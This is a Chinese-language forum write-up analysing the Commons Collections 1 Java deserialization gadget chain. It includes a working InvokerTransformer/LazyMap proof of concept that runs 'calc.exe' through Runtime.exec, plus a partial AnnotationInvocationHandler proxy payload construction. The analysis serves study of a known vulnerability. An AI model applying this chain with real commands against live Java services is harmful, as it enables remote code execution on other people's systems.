Commons Collections1分析

holic   ·   发表于 2021-02-03 14:43:53   ·   代码审计

0x01、基础知识铺垫

接下来这个过程将涉及到几个接口和类

1、LazyMap

我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

  1. Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);

2、Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

3、ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个实现类,它的过程就是在构造函数的时候传⼊⼀个

对象,并在transform⽅法将这个对象再返回:

4、InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序

列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名第⼆个参数

是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表

后⾯还提供了transform⽅法,就是执⾏了input对象的iMethodName⽅法:

5、ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个实现类,它的作⽤是将内部的多个Transformer串

在⼀起。

也就是Stream中的概念,链式调用

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

6、Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

7、decorate

  1. Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

LazyMap是在get方法去调用方法,当调用get(key)的key不存在时,会调用transformerChain的transform()方法

0x02、exp的分析

  1. import org.apache.commons.collections.*;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import java.util.HashMap;
  7. import java.util.Map;
  8. public class test02_cc1 {
  9. public static void main(String[] args) throws Exception {
  10. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  11. Transformer[] transformers = new Transformer[] {
  12. new ConstantTransformer(Runtime.class),
  13. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  14. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  15. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  16. };
  17. //将transformers数组存入ChaniedTransformer这个继承类
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. //创建Map并绑定transformerChina
  20. Map innerMap = new HashMap();
  21. innerMap.put("key", "0x7e");
  22. Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
  23. tmpmap.get("1");
  24. }
  25. }

我们先看看这段代码,看不懂没事,我们分段一步一步分析

0x03、第一部分分析

可以看出这边是new一个Transformer类型的数组,里面存储的都是Transformer的实现类

第一个元素中是ConstantTransform:

为什么是传入Runtime.class,因为Runtime类不用实现Serializable接口,所以没办法进行反序列化

Runtime.getRuntime()Runtime.class的区别 ,前者是⼀个 java.lang.Runtime对象,后者是⼀个 java.lang.Class 对象。Class类有实现Serializable接⼝

然后通过类名.class反射获取到了Runtime对象

接下来就是InvokerTransformer;通过前置知识铺垫,我们知道第⼀个参数是待执⾏的⽅法名第⼆个参数

是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表

  1. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
  2. new Object[] {"getRuntime", new Class[0] }),
  3. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
  4. new Object[] {null, new Object[0] }),
  5. new InvokerTransformer("exec", new Class[] {String.class },
  6. new Object[] {"calc.exe"})
  1. getMethod, null, getRuntime
  2. invoke , null, null
  3. exec , null, calc.exe

参数类型如下

接下来我们进去InvokerTransformer.class内部查看一下代码怎么执行的

这边需要回顾一下getMethod方法的使用

点击查看另外一篇文章操作成员方法

由此我们知道getMethod第一个参数是要调用方法的名称,第二个是要执行的参数类型

invoke第一个参数是获取到的class对象,接下来就是按照对应格式传入参数

这边就非常清楚了,调用java.lang.Runtime里面的getRuntime方法,获取到对象

接下来的几个InvokerTransformer也是一样的,就不细细分析了

0x04、第二部分分析

这边是链式调用,什么是链式调用函数

想深入了解的可以看看这边文章https://www.jb51.net/article/49405.htm

经过ChainedTransformer

会依次执行Transformer[]数组里面的方法,最后变成如下这段代码

  1. ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

最后再创建一个Map,并传入键值对,通过decorate方法

这边可以看到第一个是map,也就是我们上面创建的map,然后就是Transformer[]数组,在返回回来

最后你会疑问,咋返回的Map跟上面没区别?

这时候可以百度一下LazyMap是怎么回事的

也就是说,当get方法被调用的时候,这个LazyMap才会创建执行,当调用get(key)的key不存在时,会调用transformerChaintransform()方法

  1. tmpmap.get("hello");

所以这边hello的key是不存在的,所以执行了恶意代码

那我们可以get("key")试试

因为我们有这个key,所以没有执行恶意代码,事实证明,我们的想法是正确的

0x05、第三部分分析

通过此处,f7步入get()方法内部

传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法

ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法

导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

0x06、序列化构造

上文是执行成功了,但是我们需要构造恶意的序列化,我们知道,只要调用了get方法,就会执行rce了

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

当时我们要怎么调用这个AnnotationInvocationHandler#invoke()

这时候我们可以借用对象代理进行调用

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

  1. //获取class对象
  2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. //根据参数类型获得对应的Constructor对象,第⼀个参数是⼀个Annotation类
  4. //第⼆个是参数就是前⾯构造的Map
  5. Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
  6. //设置暴力反射
  7. construct.setAccessible(true);
  8. //通过newInstance实例化对象,从而执行构造函数,导致rce
  9. InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
  10. //新增
  11. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是

sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用

AnnotationInvocationHandler对这个proxyMap进行包裹:

  1. handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

由于存在漏洞的AnnotationInvocationHandlerjdk版本找不到,序列化的构造就这样敷衍的写一写

用户名金币积分时间理由
veek 180.00 0 2021-02-03 23:11:05 鼓励原创~

打赏我,让我更有动力~

0 Reply   |  Until 2021-2-3 | 517 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.